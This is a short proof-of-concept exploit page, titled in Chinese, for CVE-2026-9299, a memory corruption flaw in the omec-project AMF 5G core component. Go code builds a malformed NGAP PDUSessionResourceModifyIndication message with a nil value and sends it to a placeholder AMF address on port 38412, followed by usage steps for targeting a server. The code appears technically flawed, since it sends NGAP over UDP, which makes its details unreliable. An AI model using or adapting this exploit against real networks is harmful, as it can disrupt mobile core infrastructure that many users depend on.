CVE-2026-9299 omec-project amf PDUSessionResourceModifyIndication内存损坏漏洞

// CVE-2026-9299 PoC - PDUSessionResourceModifyIndication Memory Corruption // This PoC demonstrates sending malicious NGAP PDUSessionResourceModifyIndication message package main import ( "fmt" "net" "github.com/omec-project/ngap" "github.com/omec-project/ngap/ngapType" ) func createMaliciousPDUSessionResourceModifyIndication() (*ngap.NGAPPDU, error) { // Create NGAP PDU for PDUSessionResourceModifyIndication pdu := &ngap.NGAPPDU{ InitiatingMessage: &ngapType.InitiatingMessage{ ProcedureCode: ngapType.ProcedureCodePDUSessionResourceModifyIndication, Criticality: ngapType.CriticalityReject, Value: nil, // Malformed data causing memory corruption }, } return pdu, nil } func sendMaliciousPacket(targetIP string, targetPort int) error { conn, err := net.DialUDP("udp", nil, &net.UDPAddr{ IP: net.ParseIP(targetIP), Port: targetPort, }) if err != nil { return err } defer conn.Close() pdu, err := createMaliciousPDUSessionResourceModifyIndication() if err != nil { return err } // Encode and send the malicious NGAP message data, err := ngap.Encoder(pdu) if err != nil { return err } _, err = conn.Write(data) return err } func main() { targetIP := "<AMF_IP>" targetPort := 38412 // Standard NGAP port fmt.Println("Sending malicious PDUSessionResourceModifyIndication...") if err := sendMaliciousPacket(targetIP, targetPort); err != nil { fmt.Printf("Error: %v\n", err) } else { fmt.Println("Malicious packet sent successfully") } } // Usage: // 1. Replace <AMF_IP> with target AMF server IP // 2. Ensure network connectivity to AMF N2 interface // 3. Run: go run poc.go